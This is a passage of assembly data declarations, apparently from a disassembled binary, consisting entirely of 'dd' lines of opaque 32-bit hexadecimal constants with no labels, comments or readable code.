0AC850AEEh, 881BAE5h dd 546E29A6h, 0D112B6A4h, 0C48AE2A0h, 8DBBC03Ah, 0CB6221B1h dd 601BB2A1h, 3879708Bh, 0DB447E4Bh, 55028B33h, 5579FE68h dd 0D84516BFh, 39B176E4h, 0C15FD351h, 7505CCCh, 17C8E5D0h dd 0F1806D2h, 1938448Ch, 60AFF504h, 81EF3F2Ah, 0DEC5C2h dd 17E80548h, 8422836h, 5F00ED09h, 0BB43E22Dh, 9569F641h dd 79DF8B62h, 4A559F51h, 13040C9h, 5D1DE28Ch, 0E4412131h dd 1413BBE6h, 21FE3B19h, 72276C9Bh, 3950161h, 800F04E3h dd 498730C9h, 0F59179EBh, 1BE6C0C5h, 237CC036h, 7C7EE101h dd 0F2E91D65h, 58FA012Ah, 3F55595Ah, 0FC7F78E3h, 8092944Dh dd 3AB0DC03h, 9C90CD31h, 985A6B40h, 42240B63h, 0C4556FD5h dd 65E91ACEh, 52D7A22Bh, 0F229A0A3h, 0A93A1F1Eh, 2DD0929Bh dd 3FF47AD0h, 157817F6h, 17FF20Dh, 352B202Fh, 122F05E9h dd 0F902EAF2h, 0FE0114ACh, 0E95778CBh, 0C9376630h, 251AA968h dd 47F02E4Bh, 0B4E55B09h, 0F3225DD1h, 9B5D1B0Ch, 0F1C7C937h dd 12FAA26Bh, 9D91A268h, 0F5F7F2E2h, 0FDD3D7F7h, 553C895Bh dd 48B71E46h, 96165465h, 297EC2B7h, 9A92AEC6h, 0F2C4F6B5h dd 66645FDh, 5B5F17E9h, 4EAAD51h, 10F3BE86h, 8BBAC02Eh dd 0A2CCF6FCh, 6F4D6AF8h, 0C1FE12F7h, 0C0DD805h, 0D6064FBAh dd 0E1968324h, 0F80520FEh, 0B9FB00BDh, 6F682038h, 7A62942Fh dd 51603AC1h, 55994207h, 7E92C202h, 40734226h, 5B3AF030h dd 0DC591059h, 4671DE20h, 0D8B5C498h, 387603D4h, 9335562Eh dd 40530BA0h, 48597CB0h, 9A72D50h, 0ED1E803Ch, 5AF01D24h dd 40C3A903h, 68155808h, 50782619h, 6C09D30Fh, 0C8596F97h dd 2785405h, 870F1FB0h, 0C54BAC8h, 2A802BFh, 0C0D9293Ah dd 81CA3FF4h, 2BB86B57h, 0C7DD518Bh, 85A2A720h, 9A5C6DC2h dd 34516861h, 54C4003Ch, 0BFAFD108h, 4BA463F3h, 0A9C0B5D2h dd 0C00476BAh, 557357F1h, 0CF890B05h, 12AE32E9h, 0A26CEB31h dd 0F20525E9h, 0D1E711FCh, 0D1C83C9h, 5F618A16h, 7DFAD2C6h dd 0AE9F1766h, 0DC6D88C6h, 0B16ABC4Ch, 99BBDA13h, 0EA0C5036h dd 223742Eh, 0F50D7CADh, 1F2EE160h, 0E07E0141h, 210043A8h dd 0DBF75B34h, 1D83E381h, 8F276736h, 46A107F3h, 5039E903h dd 6C146897h, 91851895h, 6D96054Ch, 0BE1278E9h, 6468B830h dd 0E016AB72h, 0E80D54BDh, 28D57787h, 606D2F7h, 1B850F4Dh dd 450C4327h, 0FEC03E9h, 0B6B20A5Bh, 2EDC565Dh, 0C729001Bh dd 5EFC158h, 9BCF8103h, 0B765D410h, 0DF30D791h, 9DFE01D8h dd 0F9977416h, 0E15C120Dh, 5DE67B56h, 85CEB692h, 6F5359F4h dd 33A09D02h, 0BA77F4Ch, 98653381h, 0BAD9255Eh, 9568D603h dd 59BCA098h, 347E3F15h, 0E08859A8h, 0B309350Eh, 825C2603h dd 0DF696516h, 788ED0A1h, 8BA2EF29h, 2BDB2977h, 514F5561h dd 46896806h, 16675FCBh, 0CD8BB9Ah, 0F0BA41ADh, 5E7CB768h dd 9C82969Ah, 7175726Ah, 0CBE94FFAh, 0D69BFAD6h, 1A24C904h dd 24CF297Eh, 9BF6791h, 0A5E5FD14h, 0A838D96Bh, 0E4C2008h dd 0F4EC160h, 92BCD288h, 51BA31A3h, 364925E3h, 1A152E10h dd 0D613688Eh, 0EE5B91A2h, 0D1C0ED24h, 58EE1E5Ch, 71099E19h dd 27D5E74h, 7FB179C8h, 3843198h, 6DB0BBD7h, 0B05006F7h dd 0E2753458h, 0EDF3C062h, 0D898C202h, 2AB0B5F9h, 0C14EABE9h dd 41910828h, 0C64560B8h, 0E78ABAB4h, 933FEF02h, 0A6140A25h dd 689D2F1Ch, 16B6286Eh, 0F850107Fh, 0A09A1CB7h, 20761C2Fh dd 5B5AB342h, 36B741A8h, 0F33F3BA7h, 6FC49EA0h, 162006CCh dd 1DE16BDh, 43EC0955h, 0D1B568D0h, 0B687C7FDh, 0E92F064Bh dd 666D84ECh, 560E88AAh, 348FFF45h, 0EB445455h, 8AEDF009h dd 78B69E22h, 26C03EAh, 0B973E91Ch, 0EBB3AB85h, 31C8EFD3h dd 2C3E600Eh, 275D86BAh, 4C9E0B59h, 7B85049Ah, 21824FC7h dd 26C5982h, 278A2ECBh, 4B8242D7h, 0B364ACBh, 0BA62B257h dd 0A10B458Fh, 5493537Bh, 0A97D27B1h, 38B55100h, 5339C580h dd 0F6D7B71Ch, 4AF71EBCh, 0CBE3CFCFh, 93B082C7h, 602D00C4h dd 905AD0F3h, 3815FB0h, 453918F7h, 0D79CE94Dh, 0BFD85242h dd 2FE1C949h, 54A913F0h, 128CD1C3h, 0A8310304h, 285F05A8h dd 11B86759h, 0B7EF5E2Ah, 0AD74DDB8h, 4A1682A7h, 824379B8h dd 85ACA218h, 7BBDE582h, 3A2C8B74h, 0B1873C85h, 0A6817AF7h dd 0B27AEBBDh, 2C48DF59h, 860F0126h, 6C011AF1h, 0CE01B5F0h dd 0CA20E7Dh, 28A18670h, 71C3F55Bh, 0FCDB95A4h, 3C788608h dd 5D2D0B48h, 12C5D19h, 8000B0BBh, 0C3E6F5F6h, 0F3489770h dd 0E5B475E5h, 3A6E488h, 0D2F602B2h, 804AE8C9h, 2D2C2A13h dd 1F6FB652h, 0D46ECE80h, 0FA4BC0EDh, 58C01973h, 7916976Fh dd 0D0B4AC70h, 4756F13h dd 1FA64088h, 98C42D59h, 0DEEB8821h, 0A7E79C05h, 2A88D189h dd 0FD526566h, 75F6AA14h, 5301397Fh, 0B85B6192h, 0D5FCC54Dh dd 0D3428DEFh, 2ADCCCE2h, 818FB609h, 0DEF68243h, 0D0500A85h dd 0ED0984EEh, 4D235E4h, 4DFE1C01h, 50602BB2h, 8462BEA6h dd 867D1EEAh, 0F70C0C12h, 0C276DD20h, 5FDE1892h, 84A0CBBh dd 74974073h, 2584C3E5h, 0BD552E88h, 7328560Bh, 23300962h dd 58F9309Dh, 32AAFCEh, 51BD0CF5h, 0ED703D23h, 33289518h dd 82E55834h, 0B76EE07Dh, 0FE2EC7B5h, 0C209EEC7h, 12A4C4F4h dd 0DBFD26BDh, 59F15E97h, 7BCBD92Eh, 58A0BCECh, 0AC4BDDE9h dd 890E634Fh, 997EC037h, 0AF62D2BEh, 0FD5B672Ah, 0B0E9B041h dd 0A1109DC5h, 0B1251F51h, 7C5880Ah, 0FF965D27h, 5E76FB01h dd 2DB2055Dh, 0F83A6A68h, 0E35807D1h, 9FA4BE9h, 0A7DC5D5Ah dd 2D1B445Ah, 8438F963h, 101D5205h, 0F54E77B1h, 0FF212B53h dd 3A077908h, 50FC11D1h, 6C9C00B8h, 0DB0D4AEDh, 30EB0F54h dd 395BCA34h, 0F7081842h, 0CC4861D8h, 89E4162Ah, 992A3ADDh dd 0C569D34Eh, 0DA0104FCh, 5A43E2AFh, 0C38026F9h, 58FD4373h dd 81527297h, 646B5A08h, 5812FBFDh, 0C13AD9A1h, 218D3FFh dd 0A797D5Fh, 75BC29C9h, 0B5F25E98h, 855B7BB7h, 987D4468h dd 0C8606FCBh, 771CBD26h, 553F249Bh, 7E3B8302h, 0E0201A58h dd 0B91CEA8Ch, 0B35307E5h, 65DD07A8h, 14DE35Bh, 5095B252h dd 0E3C9D488h, 1486E0A4h, 162DECB8h, 0F27339D6h, 5EABC82Bh dd 12A4A431h, 0E67D1668h, 0A5E2D318h, 0DA77FF86h, 0F920B82Dh dd 4AC88CBBh, 78D68361h, 60F565FCh, 11F4E94Ch, 91C223C0h dd 2F62E35Ah, 98D7D329h, 0C40227D1h, 752A5C7h, 90D1D8F6h dd 0E021C288h, 0ED1036D5h, 0AB0F1ECCh, 0AE504532h, 80B5D2B5h dd 70109145h, 55DC46F6h, 0B4562028h, 68743416h, 1F98C242h dd 0E5785DEFh, 46E512C1h, 0AAE73AB5h, 0E4414003h, 67D9275Ah dd 4655ED0Fh, 388F2758h, 0D91904B2h, 685601B4h, 7438573Eh dd 0BDF716C5h, 0A8C8DE1Fh, 0EC6804CCh, 0C9BBA85Eh, 258BF09Bh dd 3CF7C329h, 3D1431E3h, 62EF280Ah, 0B9F81939h, 32D8598Ch dd 24838266h, 64A43C1h, 39BAA8F1h, 1A7164AFh, 0F089161Fh dd 27434C49h, 66035E9h, 0F6BD3C87h, 0CC7F5ABBh, 3A99029h dd 1B590C76h, 0B197ABFh, 5EA5F729h, 29F2657Dh, 8D8E67FFh dd 3D8C22B7h, 0DEB41031h, 0F2B0AD2Fh, 555A4945h, 0ADAB3F1h dd 9CBF0479h, 2E2B813Fh, 0D1B37BE3h, 0C05AED94h, 0C02C59D7h dd 0F55FCB90h, 92F40BDh, 29A7E143h, 0C0B39F83h, 0C8D9BE85h dd 0A559B86Ah, 0A9B7FC04h, 3BC1E0EBh, 0F8DBE91Ch, 0E69E772Fh dd 24B3AE20h, 0FB4FE01h, 254410B4h, 0C4F3EA5Fh, 0E044E985h dd 0F734587Eh, 63F164DFh, 0A0E8103Bh, 0A985CA4Ch, 5CC0FA7Ah dd 284716CDh, 1EDD28E6h, 24C95439h, 2853F81h, 8129674Ch dd 75EAD1h, 5411685Ch, 0BC21C93Ah, 96183DC6h, 27BA150Bh dd 0C54C0BCDh, 8023853Eh, 0DA35D226h, 0FA011502h, 0DB9005E9h dd 23840C11h, 564CC93Dh, 9900D361h, 0CA95E82h, 65A82E68h dd 995B65CCh, 31813F96h, 0FC48466Ch, 0DD01163Dh, 65630440h dd 80FE126Ah, 7C32A433h, 4AEA084Eh, 399E5FFFh, 1208D734h dd 0A9200985h, 842FA304h, 557F9B1h, 8D0FA4C1h, 0AE0DD5FEh dd 6F7FB22Ch, 0AE16D18Fh, 0C42A5012h, 1A016809h, 511ECF59h dd 2A7EDF42h, 25E2D04Fh, 0B3C852E9h, 21882C6h, 0A40C6E9Ch dd 64F2D37h, 8831672h, 68140C40h, 9573D731h, 4981F244h dd 0B11D3BEAh, 0E0F1EC2Ch, 0FCB82BE1h, 3792E9F0h, 4CD1F1B5h dd 18B70BA8h, 0E4533C6Bh, 9C70955Fh, 791F6EEh, 66948A8h dd 2749748Bh, 15EEB464h, 0F9C9CEBDh, 0A9EB0415h, 0E520AA30h dd 893F028Fh, 40EC753Eh, 616C7418h, 3050382Dh, 2563F129h dd 26C8982Eh, 0FCBD5452h, 86717A54h, 0CB685BE0h, 0CE46B77Ah dd 2A76BF03h, 0EEBD6C07h, 99C0BD0Bh, 842E4E17h, 2D0FB07Fh dd 3174C20Ch, 3F3157C3h, 2D053CD7h, 7B9F825h, 677C3559h dd 49945C06h, 64DD6B17h, 85050BEh, 0DA058E58h, 0B312ED68h dd 183D640Fh, 5AE1E50Eh, 4EA2944h, 2A2D0816h, 99596726h dd 80966A1h, 1FDEB2FCh, 7B35C480h, 1D21B6A4h, 885A85F4h dd 287321E5h, 307630ECh, 0F62C72B8h, 2714A1DBh, 2EBA7F8h dd 53290F3h, 189D0157h, 7E7B0E37h, 823E5A04h, 0E023A816h dd 4A1347E9h, 120EF701h, 63AB5BD9h, 0EED4F2C5h, 698984D8h dd 2D51C07h, 55302955h, 7A95B6E6h, 5508822Bh, 0B92C3BEBh dd 0E9D0705Ah, 755863BEh, 0EE850294h, 0B0EE3D65h, 34BA5539h dd 0BF4E5E24h, 29023200h, 0FEF38910h, 0F4B95F8Eh, 592453DCh dd 70036907h, 0B0401E72h, 301CB0E1h, 0C40C4B48h, 430DEC3Ah dd 0C787CBE9h, 0F2230CD4h, 0B7CA900Eh, 582C3200h, 9B96F828h dd 93EB9708h, 0B1C507F2h, 0ACCFB4EEh, 0C55A7B89h, 5CDE3CAAh dd 0C878575Eh, 0BAF05A88h, 0F5F9BC2Dh, 6812332Ch, 0D62BBC95h dd 5E0BAE01h, 0D2603DE6h, 4651B7FFh, 58E11D39h, 8321CE57h dd 3C8161AAh, 62639ABBh, 9C12200Fh, 6D314405h, 0F9535BE9h dd 2E26CBA0h, 17277C16h, 1ADE65ACh, 0D960F0ABh, 0F87A88F2h dd 0C405934Bh, 0D0A8D331h, 17534E74h, 9352FF07h, 2A858380h dd 7C0B606Dh, 53DE6CF6h, 678B015Fh, 30C97359h, 2C68C0A2h dd 5BD636CAh, 6584E950h, 0AF0B0AB7h, 0D48DCB83h, 410A6802h dd 0E5DF64ABh, 109A689Dh, 0B151033Dh, 0A7E18010h, 132F133h dd 0C9FE290Ch, 20E3B450h, 0F4FC81F4h, 25E90C1Fh, 0B9DFE825h dd 1773D38h, 9639A500h, 0BC800F06h, 0ED2DA4A8h, 29173003h dd 18B3BDE9h, 0B8AF3AC9h, 6C127EB9h, 680E32F5h, 223CFC0h dd 0C4BAA1E9h, 52EC0F9Ch, 4D662EDCh, 0BB0416E0h, 77834727h dd 0F3447287h, 6EB66802h, 51E9307Dh, 6C2F19B9h, 78B640BFh dd 90522734h, 0B055AFBh, 6CB07969h, 79C08DFh, 25777827h dd 0C55AB74Fh, 1D5E995h, 4CBFF62Ah, 0E95109BDh, 0EAA17016h dd 0AAE6BCAh, 62AAC4FFh, 572915C0h, 68CC9E56h, 24BCB48Fh dd 1D7D2D23h, 0DBE91E2Fh, 0E8B1D7A6h, 0DAB5071Ch, 81124CB8h dd 1632BE44h, 13C75B5Bh, 0D75EB843h, 0C274AE8h, 10099573h dd 71586619h, 75A2978Ah, 0CE414D06h, 0FE13A5DBh, 70C31F20h dd 5C0F6BFh, 0C74BC30h, 0BF8FC01h, 935CE930h, 0FCD69C5Fh dd 46D65C1Eh, 0A82CFFF4h, 4657128Eh, 0D67DB832h, 0E947E502h dd 0C6205DBCh, 0A657D8B9h, 0EA9D0798h, 0AE4160E0h, 0DEE91226h dd 0C93CE4CAh, 35DAEC05h, 17F9D101h, 5D70E983h, 28CDFF85h dd 0F108ABE8h, 2C12726Eh, 4C7EC500h, 14049D20h, 0C34E802h dd 0D160548Ah, 4FC01F5h, 0E9897ECEh, 8439968Bh, 6B9A1A22h dd 44F2D19Ch, 0EEC6303Fh, 775E862Ch, 737699B0h, 39E91A1Fh dd 30805BFFh, 32F41360h, 2553593Fh, 0ECEBA8ADh, 0A5FFD6AFh dd 5012F3D3h, 0A95FD1BCh, 59EEC0E0h, 954FFA06h, 80C7FEAh dd 2A12E10Ch, 741C0BABh, 39FA01D6h, 315AFCB1h, 0DC2B9A97h dd 0E9095696h, 0E5010A53h, 0C7FBB86h, 0DF4EF206h, 1F3B8040h dd 10EACE43h, 0E9090828h, 2AA7DA37h, 0C37201F7h, 7BD68057h dd 1623307h, 0F561B5FEh, 13A87395h, 0CBBA14F7h, 20EA4E26h dd 0F7BBE933h, 0DF1CF991h, 50F47E4h, 0A30F1354h, 0F531835Fh dd 0EF21E85Eh, 0A423C65Dh, 0F7100A37h, 0E9261FD3h, 0C10A3398h dd 376161E2h, 0F81BBFF9h dd 5524638Bh, 82759C8h, 510F4C3h, 0E35E4068h, 27011370h dd 0BD5FB7F2h, 0A2D5977Fh, 99638BFEh, 0E22B54EAh, 0C2BECBEFh dd 3A484160h, 595AB452h, 622EBE15h, 1C7FAD46h, 9F2631F4h dd 0A5554614h, 0DDB00B0Eh, 0F2255845h, 0FDEC2773h, 0F2643ADEh dd 3C4A52FCh, 7D411761h, 0FCC3A46Ah, 48A56D16h, 30E9C8B0h dd 0BF207174h, 0B0484342h, 0CC5E261Bh, 2216D7ACh, 0EA32D4EBh dd 2D7BB5A5h, 13667A2Ch, 0F251B70Eh, 0F542E9C3h, 0A2C545ECh dd 578D7249h, 7D6FEE55h, 80B840E9h, 7CBDEF2Fh, 85983DB9h dd 0C4F11734h, 3BA82EE1h, 0C397A73Ch, 0AF330CC5h, 51EC223h dd 828BD588h, 75C79ADCh, 0E9415659h, 882A7AD8h, 6F16878Eh dd 84BA1676h, 0B30812C8h, 0C5582DB7h, 176E853Eh, 68640201h dd 1AF771D7h, 112E615Fh, 5FBE5600h, 5CDD1900h, 9C7F6DBDh dd 0F529046Eh, 0E4B06BE9h, 0D30598A5h, 0DE018C8Bh, 0D3F4B038h dd 268E81BBh, 0CC198DE2h, 13617BF8h, 0D4C0863h, 718CEE00h dd 0CE0172A9h, 8800AB0h, 557090E9h, 50C58DB4h, 1B8DFBFh dd 840FC90Bh, 56742C94h, 0B6164B9h, 158DBD10h, 2B8F1BECh dd 9425A6F2h, 0FE44A147h, 0DD078032h, 60D4623Dh, 26565AC9h dd 4E4A337Bh, 12427812h, 0DD04E0C1h, 8640C2A9h, 34481412h dd 137F27CDh, 38B6C702h, 1E62905Dh, 0D3122D5Eh, 0BDDCC0F9h dd 0A45E0152h, 0A20711ECh, 9E36372Ch, 8C214DEh, 0EDE5D2Fh dd 0E960DF0Ch, 601B5940h, 0C256D080h, 0CA0B8116h, 836F6006h dd 4BA21DD2h, 0EAC2C47Dh, 32E9DA70h, 4853CEABh, 0A713E1C7h dd 0C2376C9Fh, 4E71BF1Fh, 0C3DBDEEDh, 587EFD6h, 55F2EB5Fh dd 50E80AB2h, 721D6405h, 0DA5C2DFEh, 0F553B609h, 3FF57203h dd 0E378916h, 0FB9268E2h, 5FB8B75h, 4F93F6DFh, 7924586Ah dd 0E5169964h, 4577647Fh, 1B800F12h, 713EDCB1h, 0F3E4ABE5h dd 5F5D28ECh, 5C4B0152h, 945A611Ch, 7807C7F4h, 49A2DC9Fh dd 9F69467Dh, 30D0E811h, 7FE13B4Eh, 0BF5F25F6h, 0E90CD12Bh dd 31160523h, 0BFA892D7h, 194CFC5Bh, 0F5315C7Ah, 3F82C96Ah dd 0CFF11213h, 0C5ECBC2Eh, 43B08568h, 0E33C54E9h, 39CD0481h dd 0BB7E0352h, 5EB634C0h, 0BA7F5097h, 0B53C170Eh, 0A8545C4Bh dd 2AF29008h, 99BF69Dh, 0C07827C1h, 57609D82h, 8B27ECECh dd 34C9DB0Ch, 0B44B800Dh, 592DD03Eh, 73B7604Eh, 8A357838h dd 126F1740h, 0F7406401h, 0F28142DAh, 4AD5FCD8h, 54C0AFD4h dd 3073CEF5h, 74BC48F1h, 606BBA46h, 4711CB0h, 0A052AAF6h dd 0AB708073h, 6213FB32h, 46BE5FE9h, 7A04E50Fh, 0D825E318h dd 730AC256h, 0D929982Ah, 70052474h, 688011CFh, 3D665808h dd 5702BAD3h, 61024914h, 0B46AE745h, 8B972590h, 0C53D020Fh dd 184A769Bh, 5D53ABEBh, 1008B900h, 366837CCh, 61CF946Bh dd 0CC9E3D0Ah, 0DEA9E2E9h, 76456E66h, 89AAA837h, 0A3B6E01Dh dd 9FBE4695h, 5CA78B8Ch, 5697F677h, 70D3423Fh, 0ED58E913h dd 2B80CC2Ah, 3DF8B94Eh, 10C43DB9h, 777B4DE6h, 533549ACh dd 0B400614Ah, 10953659h, 2481A18h, 25BD3009h, 0C680EBF0h dd 0A8064501h, 0EAD9E946h, 26B52627h, 94417215h, 0BAC081ACh dd 6FA24D0Ah, 99D4FCEBh, 681F43FBh, 0FB84418Bh, 0E9C238E2h dd 7F5AB611h, 8EFC103h, 0EAFFC783h, 0BBC5C59h, 0E473FB29h dd 27CA96BFh, 35DBA20h, 811A005Fh, 0C82263CEh, 0E927500Fh dd 0D5E809E1h, 91960765h, 0DF5AB34Bh, 22C3F7A2h, 0A9CA068h dd 29786A05h, 7172DE8h, 60BCDE8Dh, 0BD314C30h, 48751579h dd 0A523200Bh, 134CDE7Dh, 0BA56C563h, 8A5B21F7h, 8DE90BDDh dd 3C8B667Ch, 68439F2h, 8455D5F7h, 4F13F89Eh, 450B5968h dd 60777EFCh, 758A0FE2h, 0E14AC76Ch, 0D789581Fh, 0AB1C7F4Dh dd 757B9Dh, 4B921222h, 0D95BDE9h, 191CCFE0h, 8E5431E9h dd 4A69D97h, 321C4CA1h, 0B2FB6087h, 60E645A2h, 0E3580CC2h dd 0AB8B5FC6h, 534F9216h, 0BC0128AEh, 5A7E312Dh, 0C2969C8h dd 0F30F9A07h, 0F9CA037Bh, 8221842h, 48BA5EF1h, 21AB02F7h dd 0A9125DD8h, 9CE3640h, 0F81A5527h, 0D0F739C3h, 0E908D831h dd 2AEB8F2h, 1B4DD1B8h, 85CE04Fh, 76730F0Dh, 309E5136h dd 6635053Ah, 2A288A0Ch, 29E9EA01h, 0BCFD99ADh, 76FBA418h dd 0C09FE328h, 1D6BEBC1h, 81FCB551h, 5EE92AF5h, 61922E9Ah dd 8DD2F725h, 1DDA240Bh, 5DC98BFAh, 84548AB1h, 53AEE9EDh dd 0C319BD00h, 6097952Ah, 14262D2Ch, 0A257C977h, 96747105h dd 0E1F88470h, 83F83AB9h, 8DBE82A5h, 0A46FC959h, 0A5129C1Eh dd 0A9A53E0Eh, 0BC4BBA0Bh, 7B1E468h, 43194CDBh, 3754EA02h dd 0CD5444F9h, 5426A73Fh, 0DA40EF25h, 5E38B57Fh, 0FD658CDh dd 82BE0D45h, 0D703FA9Bh, 0EA22035Ah, 45626E6Fh, 8AE35510h dd 0B498BF2Fh, 1B0579BBh, 7741E93Ch, 4FF245FFh, 0C35A2221h dd 12A5C784h, 0E8465CBAh, 3A1C0FCCh, 7634682Ah, 0ECC9E985h dd 17E75A65h, 73CFF6Ah, 0F99B3428h, 0E4828542h, 2F778618h dd 9A88028Ah, 0C491DFC6h, 2D55EC8Bh, 0F2150201h, 5D02920h dd 0A6E90740h, 3FF9B7FCh, 0D1FF5896h, 0B4A4C7CEh, 0F3AAD08Fh dd 29FF4F43h, 3EED6B1Bh, 0BB04F32Fh, 4BDDFC89h, 0E8B3CC5h dd 1066884Bh, 0E9619FA0h, 0FFEC192Dh, 5B083920h, 47648F5Dh dd 7BD0F1AEh, 27447DBEh, 89F72388h, 9C4277D1h, 429FD15Dh dd 81F02FE9h, 7E51BA04h, 0A3BE0DAFh, 510992E5h, 1D78DAA7h dd 54F37C19h, 7310B547h, 0F7810170h, 71C61AC3h, 0BF2F86F0h dd 0DCC717A0h, 0F848160Dh, 0BCE9092Ch, 8AC1D110h, 69E8D97Ch dd 78FA0B7Fh, 13AB5E0Fh, 816F60E4h, 2C3103EFh, 892EFCA3h dd 98A25428h, 0CAA02AF0h, 681559C8h, 3A3202CEh, 0C6800BB6h dd 162F5808h, 0D0D3F7E9h, 0DB7C7316h, 614F0F7Bh, 66B79C7h dd 0BD14B9Dh, 4D5506EDh, 85401A02h, 0C5015F00h, 84519D57h dd 93A68993h, 0F833405Fh, 0E91AF52Ah, 0F55D360h, 0A8B4368Eh dd 9B2485CCh, 0C7800026h, 0F4D5653h, 0FBB284F2h, 597C39BDh dd 5AE9E070h, 0F65A0560h, 0E79982DDh, 0DE0CDD0Bh, 0F4F60606h dd 3B88B15Bh, 0C681A154h, 8FD3833Bh, 0EDCAFED4h, 92A6A94Bh dd 842E9FA3h, 0A33B88FCh, 0D5AF02Fh, 133A126h, 889CA56h dd 85988508h, 0E7D159h, 796CB6B7h, 0D74C0113h, 3A1D4FA4h dd 4D849953h, 0E6435682h, 9F5CFAB0h, 0F4AE680h, 724B9B8Fh dd 74447D90h, 1F4C4BE6h, 8B89C34Dh, 1F070102h, 5864A9CFh dd 0BEFCD1B5h, 1F92C9B0h, 0B416E628h, 19C06C35h, 634127AFh dd 0E6F997F1h, 2F826117h, 0B0914661h, 0D9212684h, 0E9A0FB5Bh dd 0E3475E44h, 12DA3DCCh, 0D388271Dh, 0AE5E4B52h, 0CCBFB5Fh dd 0EEA9E979h, 9471FDC2h, 0C68CA4A7h, 0BEE212EBh, 74B8DB2Ch dd 34F00DB0h, 0EE0BAC2Dh, 7C041FF0h, 5F520A30h, 705D984h dd 0F3F96858h, 0BB15E90Bh, 19AE7F20h, 0A7B42BBFh, 87DFF707h dd 31DB872Eh, 0FE3CE962h, 7C596DBh, 759EB72h, 2E56D2E3h dd 109CB800h, 2D4F1E9Ah, 6234C0F6h, 0AD218725h, 48D030EDh dd 5D15050Bh, 0E97A60D9h, 0D1F96726h, 0A0DC74F1h, 4F09B112h dd 558AE180h, 49787289h, 0E04F197h, 841130EDh, 9137A5A3h dd 0A7A8A985h, 9E57D637h, 0EE2E92E9h, 5EF5DF71h, 820B7460h dd 398CEB81h, 840FC844h, 2C8205Bh, 0BCA71326h, 6A8D010Ah dd 901DE548h, 0C6413CFEh, 737605FCh, 4D6F3A6Eh, 0E8E96286h dd 0C6094368h, 5DDB0629h dd 38EB6580h, 7AF50C55h, 8013D84h, 2EAF685Eh, 0E23FF34Dh dd 92C0A5CDh, 12F01E11h, 0A0A1E948h, 0C327301Fh, 65727953h dd 0D3080138h, 8185C3E9h, 2725C5A5h, 0A24166ADh, 216DF54Ah dd 38FFB825h, 4A59DFF7h, 33E02C5Bh, 0B0509340h, 0F8A94B87h dd 0DEF785DBh, 94FF2781h, 0E3C7C610h, 0E922C809h, 896879CDh dd 51981487h, 5273D088h, 0B89BC275h, 0FEC1E985h, 808385BCh dd 0F39A16E3h, 2CC52040h, 8EB4503Eh, 0D58E528h, 97F598DDh dd 5EEF4145h, 0AD4DC95Dh, 0D99303DCh, 8E5FDB4Fh, 7CEC1387h dd 6205E8A2h, 91E32500h, 0F6453870h, 9FC37076h, 6858BD5Eh dd 0B3164B94h, 4E82706h, 11AC6646h, 12889574h, 0D0542708h dd 95551DECh, 1134F410h, 980FE3A4h, 6C97045Fh, 0F846D16Ch dd 2B1F09E6h, 620130C8h, 802278EEh, 288FCF18h, 2CC13FA9h dd 0E503E7h, 7CB5575Fh, 80A1FE09h, 0BAB18FEEh, 29CBC76Ah dd 7B9CD115h, 5C580CE9h, 0D50C6F67h, 0CA426E3Ch, 0C128B9F8h dd 3EA18008h, 61262E22h, 0AB031381h, 0CF498DD0h, 916F5B57h dd 2B12C2ADh, 0F9305E31h, 5F0FBB00h, 814E1606h, 0A10D0DF3h dd 127D8004h, 8E14524h, 521F91DAh, 5FA9BDCBh, 5BFDFB22h dd 5CA6C5A3h, 8F00B13h, 0D594CEFDh, 3C595705h, 0C14EDC43h dd 4B32BB01h, 8DFCE979h, 0F41E8005h, 0A494713h, 3127E77h dd 29BE0104h, 0FD96030Eh, 24EA372Dh, 0ADE35E0Bh, 15300C4Ch dd 1022C125h, 895EC825h, 0DFCD09CAh, 184A646Ch, 0A9D75AACh dd 63B94E9Fh, 5D270E96h, 0BA6E22E5h, 5D296D09h, 3F0BAF88h dd 1D31C8CBh, 2480D240h, 0BA909C3h, 388428ADh, 0A3B5EB91h dd 3AE2CF8h, 247C292Bh, 0A1AC5F0Ch, 0EB53A5Fh, 1F5B1103h dd 96E0413h, 43FD2D02h, 926CE237h, 514000Ch, 5F1ABD52h dd 0F902BF59h, 55DAE953h, 0EA4DF284h, 7C6E14C2h, 21B66062h dd 4B486DD2h, 465C000Fh, 9DE91058h, 61CC9CA0h, 0C6FFC9B1h dd 0CB5DF9FFh, 0A7247FCCh, 92BF3EB2h, 0FEB8C414h, 9B066E01h dd 3BF3316Ah, 0ED2518F6h, 0C5D0FC0Bh, 6CB77C4Bh, 0B9638D48h dd 37254D45h, 0B450788Fh, 1EC8899h, 2012162Ch, 0E4B48530h dd 0BF629851h, 7116C27Bh, 8B3BFBACh, 1281B5F8h, 4055CD2Eh dd 0AA0990F1h, 3E562358h, 58BDFA70h, 7610B18h, 43D057E1h dd 5AE3E207h, 0DA853F47h, 5CBD7D80h, 551B48C2h, 2119D338h dd 0EC060C37h, 699596ADh, 173F68F2h, 6CDDAF98h, 20AB5AC2h dd 71959E1Ch, 18F769CCh, 5EB8E985h, 5A22F3F5h, 101F94D1h dd 5A747A56h, 62CB2973h, 0D954789Fh, 3BE326A1h, 2661078Ah dd 0E97BA7BEh, 0C0537F51h, 845A0A01h, 4E70AEDBh, 4F09035Eh dd 0F69CE91Ch, 29B0C05Eh, 0E7055E24h, 88E64E41h, 199DA410h dd 0D58ECDFEh, 0B56B5B02h, 7558EF9Ah, 9D533F14h, 0ACF70282h dd 0E30FA272h, 841000C3h, 31587174h, 2D6BE9F9h, 0BF3EF775h dd 680070B6h, 43730115h, 0E68B170Fh, 221AFA3h, 8FA9EDA6h dd 25612BF9h, 0D1F8366Ch, 4941E695h, 2C98BAC8h, 0A2260FBCh dd 0E99D5016h, 9AE5A354h, 0E27E5E49h, 64AA107h, 0B8BAEF48h dd 6BF1D19Dh, 5BE4157Ch, 2EACCEAh, 251A270Bh, 9F80F531h dd 0E66560EBh, 490C7667h, 55208C62h, 80DB36Ah, 0C514040Ch dd 4AB48EA1h, 38E9DE9Ch, 0BE5E76B3h, 3D6ACA29h, 68C3E4F1h dd 0F7177E2Ch, 714446C2h, 1129888Dh, 8EFB5D16h, 68520B2Eh dd 54E25AF5h, 9BA9D5Bh, 75626F9Fh, 0CAEADE20h, 364A7EE5h dd 680A80FCh, 0A73D73DAh, 5A9F99D0h, 4EE913A7h, 0EB8140ADh dd 1D0B5241h, 0D188DDDFh, 885305D2h, 0EA6583D7h, 2DED2D03h dd 0D964A45Ch, 0BD76B43Dh, 0C740EC1Ch, 3BFE52CCh, 4692A506h dd 0E5FC7695h, 89EC6051h, 0D3A15BD9h, 0D5CA3F59h, 25688244h dd 7E5678FDh, 0E747E9C1h, 0F6CFE105h, 0F571DE2h, 7F553ADEh dd 24EA4F81h, 0E927EC30h, 